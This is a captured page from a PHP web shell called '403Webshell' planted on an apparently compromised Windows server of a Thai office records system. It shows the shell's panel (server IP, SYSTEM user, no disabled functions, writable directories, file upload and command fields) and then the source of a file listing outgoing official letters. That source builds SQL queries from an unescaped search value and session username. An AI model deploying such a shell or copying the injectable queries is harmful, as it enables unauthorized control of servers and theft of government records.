403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2566/modules/tkk4-/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2566/modules/tkk4-/printtabain.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<SCRIPT LANGUAGE="JavaScript">
function printPage() {
if (window.print)
window.print()
else
alert("Sorry, your browser doesn't support this feature.");
}
</SCRIPT>
<link href="style_web.css" rel="stylesheet" type="text/css">
<TABLE width=100%   border="0" align="left" cellpadding="0" cellspacing="0">
    <TR>
		<TD Valign="top" >
<form name="form3" method="post" action="?name=tkk4&file=tabainsent">
  <table width=100%  border="0" align="left" cellpadding="0" cellspacing="0">
    <tr class="unnamed1">
		<td  width="500" class="unnamed2"><A HREF="?name=tkk4&file=tabainsent">&nbsp;&nbsp;<img src="images/back.png" align="absmiddle" ></A>&nbsp;&nbsp;<B>&nbsp;&nbsp;<B>ทะเบียนส่งหนังสือราชการ<?=WEB_AREA;?></B></td>
		<td width="230" class="unnamed2"><div align="right"><strong>&nbsp;&nbsp;</strong></div></td>
		<td align="right" width="100"></td>
      <td width="80"><div align="right">&nbsp;&nbsp;</div></td>
	<td width="80"><div align="right"><input type="button" name="Button" value="  พิมพ์เอกสาร " onclick="javascript:this.style.display='none';printPage();"></div></td>
    </tr>
  </table>
  </form>
  </TD>
  </TR>
  <TR>
  <TD>
<table width=100%  height=500 border="0" align="left" cellpadding="0" cellspacing="0">
    <tr>
		<td Valign="top" >
<table width="100%"  border="0" align="center" cellpadding="1" cellspacing="1" bordercolor="#000000" >
	<tr bgcolor="#336633">
		<td width="100" align="center"><font color="#FFFFFF">เลขหนังสือ</font></td>
		<td width="440" align="center"><font color="#FFFFFF">เรื่อง</font></td>
		<td width="140" align="center"><font color="#FFFFFF">วัน เดือน ปี</font></td>
		<td width="140" align="center"><font color="#FFFFFF">จาก</font></td>
		<td width="180"align="center"><font color="#FFFFFF">ถึง</font></td>
	</tr>
<?
//	CheckUser($_SESSION['user_user']);
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
//แสดงบทความ
$limit = 20 ;
$SUMPAGE = $db->num_rows(TB_TKK4,"id","$SQLwhere tabain like '%$search%' or  topic like '%$search%'  ");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;

$res[tkk4] = $db->select_query("SELECT * FROM ".TB_TKK4." WHERE tabain like '%$search%' or  topic like '%$search%'  ORDER BY id DESC LIMIT $goto, $limit ");
$count=0;
while($arr[tkk4] = $db->fetch($res[tkk4])){
?>
<tr bgcolor="#FFFFFF">
	<td valign="top"><div align="left">&nbsp;<? echo $arr[tkk4][tabain]; ?></div></td>
	<td valign="top"><div align="left">&nbsp;&nbsp;<A HREF="?name=tkk4&file=readtkk4_3&id=<? echo $arr[tkk4][id]; ?>">&nbsp;<?echo $arr[tkk4][topic]; ?></A></div></td>
	<td align="center" valign="top"><?echo thai_date_fullmonth(strtotime($arr[tkk4][date]),'','');?></td>
	<td valign="top"><div align="left">&nbsp;<?=WEB_AREA;?></div></td>
	<td valign="top"><div align="left">&nbsp;<?echo $arr[tkk4][group_ska]; ?></div></td>
  </tr>
            <tr>
             <td colspan="5" height="1" class="dotline" color=FFFF00></td>
            </tr>
<?
}
?>
</table>
&nbsp;&nbsp;
				<?
				SplitPage($page,$totalpage,"?name=tkk4&file=tabainsent&op=tkk4_read&search=$search");
				echo $ShowSumPages ;
				echo $ShowPages ;
				?>
		  </TD>
        </TR>
    </TABLE>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit